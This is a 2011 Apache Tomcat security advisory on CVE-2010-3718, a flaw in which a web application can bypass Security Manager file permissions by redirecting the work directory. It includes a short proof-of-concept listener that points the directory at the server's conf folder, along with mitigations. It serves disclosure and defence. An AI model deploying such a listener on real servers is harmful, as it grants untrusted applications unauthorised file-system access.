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Apache Tomcat Local Bypass

Apache Tomcat Local Bypass
Posted Feb 5, 2011
Authored by Mark Thomas | Site tomcat.apache.org

Apache Tomcat suffers from a local bypass a of Security Manager file permissions. Versions from 7.0.0, 6.0.0 and 5.5.0 are affected.

tags | advisory, local
advisories | CVE-2010-3718
SHA-256 | d2f9d707163a4a48bea1bcaecc3731d3d4a8ab63268d9b9e514e199066bda9b5

Apache Tomcat Local Bypass

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CVE-2010-3718 Apache Tomcat Local bypass of security manger file permissions

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.3
- - Tomcat 6.0.0 to 6.0.?
- - Tomcat 5.5.0 to 5.5.?
- - Earlier, unsupported versions may also be affected

Description:
When running under a SecurityManager, access to the file system is
limited but web applications are granted read/write permissions to the
work directory. This directory is used for a variety of temporary files
such as the intermediate files generated when compiling JSPs to Servlets.
The location of the work directory is specified by a ServletContect
attribute that is meant to be read-only to web applications. However,
due to a coding error, the read-only setting was not applied. Therefore
a malicious web application may modify the attribute before Tomcat
applies the file permissions. This can be used to grant read/write
permissions to any area on the file system which a malicious web
application may then take advantage of.
This vulnerability is only applicable when hosting web applications from
untrusted sources such as shared hosting environments.

Example (AL2 licensed):

Listener source
- ---------------
package listeners;
import javax.servlet.ServletContext;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;

public final class FooListener implements ServletContextListener {
public void contextInitialized(ServletContextEvent event) {
ServletContext context = event.getServletContext();
java.io.File workdir = (java.io.File) context
.getAttribute("javax.servlet.context.tempdir");
if (workdir.toString().indexOf("..") < 0) {
context.setAttribute("javax.servlet.context.tempdir",
new java.io.File(workdir, "../../../../conf"));
}
}
public void contextDestroyed(ServletContextEvent event) {
}
}

web.xml snippet
- ---------------
<listener>
<listener-class>listeners.FooListener</listener-class>
</listener>


Mitigation:
Users of affected versions should apply one of the following mitigations:
- - Upgrade to a Tomcat version where this issue is fixed
- - Undeploy all web applications from untrusted sources

Credit:
The issue was identified by the Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html
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